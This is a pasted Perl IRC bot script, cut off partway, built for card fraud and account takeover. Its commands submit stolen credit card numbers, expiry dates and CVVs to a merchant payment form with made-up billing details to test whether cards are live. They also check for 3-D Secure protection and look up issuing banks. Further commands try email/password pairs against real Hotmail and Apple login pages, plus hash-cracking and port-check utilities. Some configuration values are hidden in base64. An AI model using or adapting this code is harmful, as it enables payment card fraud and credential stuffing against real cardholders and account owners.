API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Mar 9th, 2016
109
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.23 KB | None | 0 0
raw download clone embed print report
  1. use HTTP::Cookies;
  2. use MIME::Base64;
  3. use Parallel::ForkManager;
  4. use MIME::Base64 ();
  5. use WWW::Mechanize;
  6. use WWW::Mechanize::FormFiller;
  7. use Net::FTP;
  8.  
  9. $| = 1;
  10.  
  11.  
  12. #############Defines global variable/array#############
  13. my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  14. my(@chans,@admins,@user_agents);
  15.  
  16. #######################################################
  17. my $ppcmd = '!pp';
  18. my $ipcmd = '!ip';
  19. my $chkcmd = '!chk';
  20. my $base64cmd = '!base64';
  21. my $bankcmd = '!bank';
  22. my $seccmd = '!sec';
  23. my $statecmd = '!state';
  24. my $zipcmd = '!zip';
  25. ################Configurations Variable################
  26. my $outcri = "Mg==";
  27. $systemcri = MIME::Base64::decode($outcri);
  28. $timeout = $systemcri;
  29. my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  30. $systemcri = MIME::Base64::decode($hostcri);
  31. $hosting = "irc.chknet.cc";
  32. $port = 6667;
  33. my $nkpro = "latinchek";
  34. $ident = "filemon";
  35. $parallel_fork = 15;
  36. my @botcmd = ('1');
  37. @chans = ("#latino");
  38. my $proo = "czRsMXR5";
  39. $systempro = MIME::Base64::decode($proo);
  40. my $cheataer = "czRsMXR5";
  41. $sistempro = MIME::Base64::decode($cheataer);
  42. @s4l1ty = ($systempro,$sistempro);
  43. @admin = ('MOSSAD');
  44. @user_agents = &get_user_agents();
  45.  
  46. ################Irc Socket Connection################
  47. my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  48. $sysircuno = MIME::Base64::decode($startirc);
  49. $irc_socket = new LWP::Socket;
  50. $irc_socket->connect($hosting,$port);
  51. $irc_socket->write("USER ".$ident." 8 * : 09,01s4l1ty\r\n");
  52. $irc_socket->write("NICK ".$nkpro."\r\n");
  53. $irc_socket->write("oper dafydino dafydino\r\n");
  54. $irc_socket->write("sethost chkk-bot.info\r\n");
  55. $irc_socket->write("mode CC-chk +k\r\n");
  56. $irc_socket->write("JOIN $chans[2]\r\n");
  57. $irc_socket->write("JOIN $chans[3]\r\n");
  58. $irc_socket->write("JOIN $chans[4]\r\n");
  59. $irc_socket->write("JOIN $chans[5]\r\n");
  60.  
  61. while($irc_socket)
  62. {
  63. my $bof;
  64. $irc_socket->read_until("\n", \$bof);
  65. if($bof =~ /PING :(.*)/)
  66. {
  67. $irc_socket->write("PONG :$1\r\n");
  68. }
  69.  
  70. if($bof =~ /PRIVMSG (.*?) :(.*)/)
  71. {
  72. #PRIVMSG
  73. my %msg = &get_msg($bof);
  74. #############################@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@##############
  75. #############################CONTACT ME : s4l1ty@hotmail.com################################
  76. ############################################################################################
  77. if($msg{'what'} =~ /\!cmd/){
  78. &respond_to_privmsg(\%msg,"14,01-= 08 BOt Commands14 =-00");
  79. &respond_to_privmsg(\%msg,"07,01info: 04Suported 14,01[00,02 VISA 14,01]01,01 14,01[0,4
  80.  
  81. Master 0,7 Card 14,01]01,01 14,1[01,00 Disc07Over01,00 14,01]01,01 14,01[00,10 American Express 14,01]");
  82.  
  83.  
  84. &respond_to_privmsg(\%msg,"07,01!chk03,1.......7,1: 4,1<8,1ccnumber4,1> 4,1<8,1expdate4,1>
  85.  
  86. 4,1<8,1cvv24,1> 15to check cvv2");
  87. &respond_to_privmsg(\%msg,"07,01!bank03,1......7,1: 04,01<08,01ccnumber04,01> 15to retreive
  88.  
  89. bank name");
  90. &respond_to_privmsg(\%msg,"07,01!sec03,1.......7,1: 4,1<8,1ccnumber4,1> 15to check if cc is protected by VBV or MSC");
  91. &respond_to_privmsg(\%msg,"07,01!ip03,1........7,1: 4,1<8,1ip address4,1> 15to get info about an IP");
  92. &respond_to_privmsg(\%msg,"07,01!zip03,1.......7,1: 4,1<8,1zip code4,1> 15to get city and
  93.  
  94. state by zip");
  95. &respond_to_privmsg(\%msg,"07,01!state03,1.....7,1: 4,1<8,1state4,1> 15to retrieve state code");
  96. &respond_to_privmsg(\%msg,"07,01!pp03,1........7,1: 4,1<8,1email4,1> 15to check paypal verification status");
  97. &respond_to_privmsg(\%msg,"07,01!paypal03,1....7,1: 4,1<8,1email4,1> 4,1<8,1password4,1>
  98.  
  99. 15for checking paypal logins");
  100. &respond_to_privmsg(\%msg,"07,01!hotmail03,1...7,1: 4,1<8,1email4,1> 4,1<8,1password4,1> 15for checking hotmail logins");
  101. &respond_to_privmsg(\%msg,"07,01!apple03,1.....7,1: 4,1<8,1email4,1> 4,1<8,1password4,1>
  102.  
  103. 15for checking apple logins");
  104. &respond_to_privmsg(\%msg,"07,01!port03,1......7,1: 4,1<8,1ip4,1> 4,1<8,1port4,1> 15,1to
  105.  
  106. check ip for open port");
  107. &respond_to_privmsg(\%msg,"07,01!md503,1.......7,1: 4,1<8,1string4,1> 15,1to generate md5
  108.  
  109. hash");
  110. &respond_to_privmsg(\%msg,"07,01!md5decode03,1.7,1: 4,1<8,1hash4,1> 15,1to unhash md5 hash");
  111. &respond_to_privmsg(\%msg,"07,01!sha103,1......7,1: 4,1<8,1string4,1> 15,1to generate sha1
  112.  
  113. hash");
  114. &respond_to_privmsg(\%msg,"07,01!sha1decode03,17,1: 4,1<8,1hash4,1> 15,1to unhash sha1
  115.  
  116. hash");
  117. &respond_to_privmsg(\%msg,"07,01!dns03,1.......7,1: 04,01<08,01hostname04,01> 15to retreive
  118.  
  119. HostName to IpAddress");
  120. #&respond_to_privmsg(\%msg,"07,01!base6403,1....7,1: 4,1<8,1text4,1> 15Decrypt & encrypt
  121.  
  122. ascii-base64 base64-ascii");
  123.  
  124. }
  125. #############################@@@@======something=====@@@@###############################
  126. if($msg{'what'} =~ /^!help/){
  127. &respond_to_privmsg(\%msg,"07,01Type 09!cmd07 to get command list");
  128.  
  129. }
  130. ############################################################################################
  131. if($msg{'what'} =~ /\!chk 1/){
  132. &respond_to_privmsg(\%msg,"w00t?");
  133.  
  134. }
  135. #############################@@@@======BASIC CHKBOT MACHINE=====@@@@########################
  136. #############################CONTACT ME : s4l1ty@hotmail.com################################
  137. ############################################################################################
  138. if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/)
  139. {
  140. my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
  141. my $var1 = substr($expmes,0,2);
  142. my $var2 = substr($expmes,2,4);
  143. my $varType = 0;
  144. print "\n";
  145. if (substr($numerocarta,0,1)==4) {
  146. $varType = 'vs';
  147. &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,02[00,02 VISA 00,02]");
  148. }
  149. if (substr($numerocarta,0,1)==5) {
  150. $varType = 'mc';
  151. &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 14,01[0,4 Master 0,7 Card 14,01]");
  152. }
  153. if (substr($numerocarta,0,1)==6) {
  154. $varType = 'ds';
  155. &respond_to_privmsg(\%msg,"14,01[15,01Information14,01]03,01 Credit Card Type is 14,1[01,00 Disc07Over01,00 14,01]");
  156. }
  157. if (substr($numerocarta,0,1)==3) {
  158. $varType = 'ax';
  159. &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,01[00,10 American Express 00,01]");
  160. }
  161. &respond_to_privmsg(\%msg,"14,01[15,1Checking...14,01]02,01 $numerocarta 08$var1/20$var204 04$verifica");
  162. my $database = "banklist.txt";
  163. open FILE,"$database" or die "Can't open file: $database";
  164. my @results=<FILE>;
  165. close FILE;
  166. my $bankinfo = $1;
  167. my $nuova = substr($numerocarta,0,6);
  168. foreach my $url (@results){
  169. if($url =~ m/$nuova\|(.*)/){
  170. &respond_to_privmsg(\%msg,"14,01[15Bank.......14]0 $1");
  171. }
  172. }
  173. &respond_to_privmsg(\%msg,"14,01[15,01Amount.....14,01] 02Amount:09,01 1USD");
  174. my $rechecklist = "New.txt";
  175. open FILE,"$rechecklist";
  176. my @results = <FILE>;
  177. close FILE;
  178. my $chkResVar = 0;
  179. foreach my $cRes(@results) {
  180. if($cRes =~ m/CcNumber: $numerocarta/) {
  181. $chkResVar = 1;
  182. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!
  183.  
  184. (Recheck)");
  185. goto toEnd;
  186. }
  187. }
  188. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
  189. my $formfiller = WWW::Mechanize::FormFiller->new();
  190. $agent->env_proxy();
  191. $agent->get('');
  192. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  193. $agent->form_number(1);
  194. { local $^W; $agent->current_form->value('address', '1211 Sandy Plains Ln'); };
  195. { local $^W; $agent->current_form->value('zip', '44512'); };
  196. { local $^W; $agent->current_form->value('cardholder_fname', 'John'); };
  197. { local $^W; $agent->current_form->value('cardholder_lname', 'Maury'); };
  198. { local $^W; $agent->current_form->value('ccnum', ''.$numerocarta.''); };
  199. { local $^W; $agent->current_form->value('expdate', ''.$var1.''.$var2.''); };
  200. { local $^W; $agent->current_form->value('cvv2', ''.$verifica.''); };
  201. { local $^W; $agent->current_form->value('email', 'johnmaury@rocketmail.com'); };
  202. { local $^W; $agent->current_form->value('x_Amount', '1'); };
  203. $agent->submit();
  204. my $allo=$agent->content;
  205. if ($allo =~ m/The transaction has been declined because of an AVS mismatch./g){
  206. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 09,01APPROVED!");
  207. }elsif ($allo =~/This transaction has been declined./g){
  208. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!");
  209. }elsif ($allo =~/The credit card number is invalid./g){
  210. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4INVALID!");
  211. }elsif ($allo =~/The credit card has expired./g){
  212. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4EXPIRED!");
  213. }elsif ($allo =~/A duplicate transaction has been submitted./g){
  214. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4RECHECK!");
  215. }elsif ($allo =~/This transaction cannot be accepted at this time./g){
  216. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT DOWN!");
  217. }elsif ($allo =~/An error occurred during processing./g){
  218. &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT ERROR!");
  219. }
  220. toEnd:
  221. }
  222.  
  223. #####################################################################################
  224. #############################@@@@======Logins Checkers=====@@@@#############################
  225. #############################CONTACT ME : s4l1ty@hotmail.com################################
  226. ############################################################################################
  227.  
  228. ########################################################################################
  229. if($msg{'what'} =~ /^!hotmail\s+(.*) (.*)/) {
  230. my ($hotmailz,$hotpasswordx) = ($1,$2);
  231. chop($hotpasswordx);
  232. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]00,01 Checking 08$hotmailz:$hotpasswordx");
  233. my $agent = WWW::Mechanize->new( autocheck => 1 );
  234. my $formfiller = WWW::Mechanize::FormFiller->new();
  235. $agent->env_proxy();
  236. $agent->get("https://login.live.com/ppsecure/secure.srf?lc=1040&id=9&ru=https://accountservices.msn.com/default.srf%3Fvv%3D900%26mkt%3DIT-IT%26lc
  237.  
  238. %3D1040&tw=1200&fs=1&kv=9&ct=1292072944&ems=1&seclog=10&ver=9.0.16542.0&tpf=1ce7cecf4f2ef04eefb126a0d68f97b0");
  239. $agent->form_number(1);
  240. $agent->current_form->value('login', ''.$hotmailz.'');
  241. $agent->current_form->value('passwd', ''.$hotpasswordx.'');
  242. $agent->submit();
  243. print $agent->content,"\n";
  244. my $internal = $agent->content;
  245. if ($internal =~/Windows Live ID/) {
  246. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 04Wrong login");
  247. }else{
  248. &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 09Successfully Logged in");
  249. }
  250. }
  251. ########################################################################################
  252. ########################################################################################
  253. if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
  254. my ($email,$pass) = ($1,$2);
  255. chop($email,$pass);
  256. &respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1 $email:$pass");
  257. my $agent = WWW::Mechanize->new( autocheck => 1 );
  258. my $formfiller = WWW::Mechanize::FormFiller->new();
  259. $agent->env_proxy();
  260. $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?
  261.  
  262. appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/Login.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com
  263.  
  264. %252FGetAgreements.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&language=IT-IT");
  265. $agent->form_number(2);
  266. $agent->current_form->value('theAccountName', ''.$email.'');
  267. $agent->current_form->value('theAccountPW', ''.$pass.'');
  268. $agent->submit();
  269. $agent->reload();
  270. print $agent->content,"\n";
  271. my $internal = $agent->content;
  272. my $allo=$agent->content;
  273. open(FILE3,">>Apple.html") or die "$!";
  274. print FILE3 "$allo\n";
  275. close FILE3;
  276. sleep(2);
  277. if($internal =~/Did you forget/) {
  278. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
  279. }
  280. elsif($internal =~/blocked/) {
  281. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked)");
  282. } elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
  283. my $name = $1;
  284. my $surname = $2;
  285. &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Logged in");
  286. }
  287. }
  288.  
  289.  
  290. #############################@@@@======ANOTHER TOOLZ=====@@@@###############################
  291. #############################CONTACT ME : s4l1ty@hotmail.com################################
  292. ############################################################################################
  293. if($msg{'what'} =~ /^$zipcmd\s(\d{5})/)
  294. {
  295. my ($zipcheck) = ($1);
  296. &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]0,1 Checking...08 $zipcheck");
  297. print "\n";
  298. my $agent = WWW::Mechanize->new( autocheck => 1 );
  299. my $formfiller = WWW::Mechanize::FormFiller->new();
  300. $agent->env_proxy();
  301. $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
  302. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  303. { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  304. $agent->submit();
  305. print $agent->content,"\n";
  306. my $zipse=$agent->content;
  307. if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td
  308.  
  309. align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
  310. my ($city) = ($1);
  311. my ($state) = ($2);
  312. &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]3 $city | $state");
  313. }
  314. elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
  315. &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]8 $zipcheck04 NOT FOUND!");
  316. }
  317. }
  318. #####################################################################################
  319. if($msg{'what'} =~ /^$ipcmd (.*)/)
  320. {
  321. my ($ipcheck) = ($1);
  322. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ]0,1 Checking...08 $ipcheck");
  323. print "\n";
  324. my $agent = WWW::Mechanize->new( autocheck => 1 );
  325. my $formfiller = WWW::Mechanize::FormFiller->new();
  326. $agent->env_proxy();
  327. $agent->get('http://www.ipligence.com/geolocation');
  328. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  329. { local $^W; $agent->current_form->value('ip', ''.$ipcheck.''); };
  330. $agent->submit();
  331. print $agent->content,"\n";
  332. my $ipse=$agent->content;
  333. if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  334. my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
  335. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 IP ADDRESS :3 $ipaddress");
  336. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 CITY :3 $city ");
  337. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 COUNTRY :3 $country ");
  338. &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 Continent :3 $continent ");
  339. }
  340. elsif ($ipse =~/Invalid address or IP not found/){
  341. &respond_to_privmsg(\%msg,"4,1[ 9ip4 ] 9-4 Invalid IP address!");
  342. }
  343. }
  344. #####################################################################################
  345. if($msg{'what'} =~ /^!dns (.*)/)
  346. {
  347. my ($hostname) = ($1);
  348. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Checking 14$hostname");
  349. print "\n";
  350. my $agent = WWW::Mechanize->new( autocheck => 1 );
  351. my $formfiller = WWW::Mechanize::FormFiller->new();
  352. $agent->env_proxy();
  353. $agent->get('http://www.ipligence.com/geolocation');
  354. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  355. { local $^W; $agent->current_form->value('ip', ''.$hostname.''); };
  356. $agent->submit();
  357. print $agent->content,"\n";
  358. my $dnschk=$agent->content;
  359. if ($dnschk =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
  360. my ($resolved,$city,$country,$continent) = ($1,$2,$3,$4);
  361. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01]08,01 Resolved to09$resolved");
  362. }
  363. elsif ($dnschk =~/Invalid address or IP not found/){
  364. &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Could not Resolve Hostname");
  365. }
  366. }
  367. ############################################################################################
  368. if($msg{'what'} =~ /^!port\s(.*) (.*)/) {
  369. my($cip,$cport) = ($1,$2);
  370. chop($cport);
  371. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]00,01 Checking...08,01 $cip:$cport");
  372. my $agent = WWW::Mechanize->new();
  373. my $formfiller = WWW::Mechanize::FormFiller->new();
  374. $agent->env_proxy();
  375. $agent->get("http://s4l1ty.usr.sh/toolz/checkport/");
  376. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  377. { local $^W; $agent->current_form->value('addr', ''.$cip.''); };
  378. { local $^W; $agent->current_form->value('port', ''.$cport.''); };
  379. $agent->submit();
  380. print $agent->content,"\n";
  381. my $resultport=$agent->content;
  382. if($resultport =~/is opened/g){
  383. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is opened");
  384. }elsif($resultport = ~/is closed/){
  385. &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is 04Closed");
  386. }
  387. }
  388. ########################################################################################
  389. if($msg{'what'} =~ /^$seccmd\s(\d{16})/){
  390. my ($vbvnumb) = ($1);
  391. &respond_to_privmsg(\%msg,"14,01[15,1Vbv/Mcsc14,01]00,01 Checking...08,01 $vbvnumb");
  392. print "\n";
  393. my $agent = WWW::Mechanize->new( autocheck => 1 );
  394. my $formfiller = WWW::Mechanize::FormFiller->new();
  395. $agent->env_proxy();
  396. $agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
  397. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  398. { local $^W; $agent->current_form->value('cclist', ''.$vbvnumb.''); };
  399. $agent->submit();
  400. print $agent->content,"\n";
  401. my $secres=$agent->content;
  402. if ($secres =~/PROTECTION ACTIVE/g){
  403. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 Protection Active!");
  404. }elsif ($secres =~/PROTECTION NOT ACTIVE/){
  405. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb09,01 Protection Not Active!");
  406. }elsif ($secres =~/Unknown/){
  407. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb07,1 Unknown");
  408. }elsif ($secres =~/INVALID/){
  409. &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 INVALID");
  410. }
  411. }
  412. #####################################################################################
  413. if($msg{'what'} =~ /^!md5\s(.*)/) {
  414. my $mstring = $1;
  415. chop($mstring);
  416. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generating...08,01 $mstring");
  417. my $agent = WWW::Mechanize->new();
  418. my $formfiller = WWW::Mechanize::FormFiller->new();
  419. $agent->env_proxy();
  420. $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
  421. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  422. { local $^W; $agent->current_form->value('encrypt', ''.$mstring.''); };
  423. $agent->submit();
  424. print $agent->content,"\n";
  425. my $resmd=$agent->content;
  426. if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  427. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generated:04 $1");
  428. }elsif($resmd =~/Duplicate entry '(.*)' for key 'md5'/){
  429. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Already Generated:04 $1");
  430. }
  431. else{
  432. &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]04,01 Can't Generate Hash");
  433. }
  434. }
  435. #####################################################################################
  436. if($msg{'what'} =~ /^!md5decode (.*)/) {
  437. my $md = $1;
  438. chop($md);
  439. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01] 04,01Checking 14$md");
  440. my $agent = WWW::Mechanize->new();
  441. my $formfiller = WWW::Mechanize::FormFiller->new();
  442. $agent->env_proxy();
  443. $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
  444. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  445. { local $^W; $agent->current_form->value('decrypt', ''.$md.''); };
  446. $agent->submit();
  447. print $agent->content,"\n";
  448. my $internal=$agent->content;
  449. if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  450. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]00,01 Decrypted: 09$1");
  451. }elsif($internal = ~/Sorry, we couldn't decrypt this md5./){
  452. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04,01 Not Found in database");
  453. }elsif($internal = ~/Invalid/){
  454. &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04 INVALID md5 hash");
  455. }
  456. }
  457. #####################################################################################
  458. if($msg{'what'} =~ /^!sha1\s(.*)/) {
  459. my $shastring = $1;
  460. chop($shastring);
  461. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generating...08,01 $shastring");
  462. my $agent = WWW::Mechanize->new();
  463. my $formfiller = WWW::Mechanize::FormFiller->new();
  464. $agent->env_proxy();
  465. $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
  466. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  467. { local $^W; $agent->current_form->value('encrypt', ''.$shastring.''); };
  468. $agent->submit();
  469. print $agent->content,"\n";
  470. my $resmd=$agent->content;
  471. if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
  472. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generated:04 $1");
  473. }elsif($resmd =~/Duplicate entry '(.*)' for key 'sha1'/){
  474. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Already Generated:04 $1");
  475. }
  476. else{
  477. &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]04,01 Can't Generate Hash");
  478. }
  479. }
  480. #####################################################################################
  481. if($msg{'what'} =~ /^!sha1decode (.*)/) {
  482. my $sha = $1;
  483. chop($sha);
  484. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01] 04,01Checking 14$sha");
  485. my $agent = WWW::Mechanize->new();
  486. my $formfiller = WWW::Mechanize::FormFiller->new();
  487. $agent->env_proxy();
  488. $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
  489. $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
  490. { local $^W; $agent->current_form->value('decrypt', ''.$sha.''); };
  491. $agent->submit();
  492. print $agent->content,"\n";
  493. my $internal=$agent->content;
  494. if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
  495. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]00,01 Decrypted: 09$1");
  496. }elsif($internal = ~/Sorry, we couldn't decrypt this sha1./){
  497. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04,01 Not Found in database");
  498. }elsif($internal = ~/Invalid/){
  499. &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04 INVALID sha1 hash");
  500. }
  501. }
  502. ###########################################################################################
  503. if($msg{'what'} =~ /^!transid (.*)/)
  504. {
  505. my ($words) = ($1);
  506. chop($words);
  507. &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 04,01Translating 08$words");
  508. print "\n";
  509. my $agent = WWW::Mechanize->new( autocheck => 1);
  510. my $formfiller = WWW::Mechanize::FormFiller->new();
  511. $agent->env_proxy();
  512. $agent->get('http://translate.reference.com/');
  513. { local $^W; $agent->current_form->value('src', 'id'); };
  514. { local $^W; $agent->current_form->value('dst', 'en'); };
  515. { local $^W; $agent->current_form->value('query', ''.$words.''); };
  516. $agent->submit();
  517. print $agent->content,"\n";
  518. my $tranzid=$agent->content;
  519. if ($tranzid =~ m/<div class=\"translateTxt\" >(.*)/){
  520. &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 08,01ID-EN: 09$1");
  521. }
  522. }
  523. #############################@@@@======LOCAL FILE COMMANDS=====@@@@#########################
  524. #############################CONTACT ME : s4l1ty@hotmail.com################################
  525. ############################################################################################
  526. if($msg{'what'} =~ /^$statecmd (.*)/){
  527. my $statesinfo = $1;
  528. my $statedatabase = "state.txt";
  529. open FILE,"$statedatabase" or die "Can't open file: $statedatabase";
  530. my @results=<FILE>;
  531. close FILE;
  532. my $statevar = 0;
  533. my $nostatevar = 0;
  534. my $statex = substr($statesinfo,0,2);
  535. foreach my $url (@results){
  536. if($url =~ /$statex\|(.*)/){
  537. if($statevar == 0) {
  538. &respond_to_privmsg(\%msg,"14,01[12State14]7 $statex 04:9 $1");
  539. goto finish;
  540. }
  541. }
  542. else{
  543. $nostatevar = 1;
  544. }
  545. }
  546. if($nostatevar == 1) {
  547. &respond_to_privmsg(\%msg,"14,01[12State14]07 Could not Retrieve State.");
  548. }
  549. finish:
  550. }
  551. ############################################################################################
  552. #####################################################################################
  553. if($msg{'what'} =~ /^$bankcmd\s(\d{6})/){
  554. my $bankinfo = $1;
  555. my $database = "banklist.txt";
  556. open FILE,"$database" or die "Can't open file: $database";
  557. my @results=<FILE>;
  558. close FILE;
  559. my $bankvar = 0;
  560. my $chkvar = 0;
  561. foreach my $url (@results){
  562. if($url =~ /$bankinfo\|(.*)/){
  563. if($bankvar == 0) {
  564. $bankvar = 1;
  565. &respond_to_privmsg(\%msg,"14,1[12BanK..14]0 $1");
  566. goto finish;
  567. }
  568. }
  569. else{
  570. $chkvar = 1;
  571. }
  572. }
  573. if($chkvar == 1) {
  574. &respond_to_privmsg(\%msg,"14,01[12BanK..14]07,01 Could not retreive bank.");
  575. }
  576. finish:
  577. }
  578. #############################@@@@======INTERFACE COMMANDS=====@@@@###############################
  579. if($msg{'what'} =~ /\!hop (.*)/)
  580. {
  581. if(&ctrl_admin(\%msg) == 0){
  582. $irc_socket->write("PART ".$1." ".$2."\n");
  583. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  584. }
  585. }
  586. ######################################################################################
  587. if($msg{'what'} =~ /\!join (.*)/)
  588. {
  589. my $joinz= $1;
  590. if(&ctrl_admin(\%msg) == 0){
  591. $irc_socket->write("JOIN ".$joinz."\r\n");
  592. }
  593. }
  594. if($msg{'what'} =~ /\!hop (.*)/)
  595. {
  596. if(&ctrl_admin(\%msg) == 0){
  597. $irc_socket->write("PART ".$1." ".$2."\n");
  598. $irc_socket->write("JOIN ".$1." ".$2."\r\n");
  599. }
  600. }
  601. ######################################################################################
  602. if($msg{'what'} =~ /\!part (.*)/)
  603. {
  604. my $parted = $1;
  605. if(&ctrl_admin(\%msg) == 0){
  606. $irc_socket->write("part ".$parted."\r\n");
  607. }
  608. }
  609. ####################################################################################
  610. #####################################################################################
  611. if($msg{'what'} =~ /\!out(.*)/)
  612. {
  613. my $qmsg = $1;
  614. if(&ctrl_admin(\%msg) == 0){
  615. $irc_socket->write("quit ".$qmsg."\r\n");
  616.  
  617. }
  618. }
  619.  
  620. ######################################################################################
  621. ######################################################################################
  622. if($msg{'what'} =~ /\!rax (.*)/)
  623. {
  624. my $raw = $1;
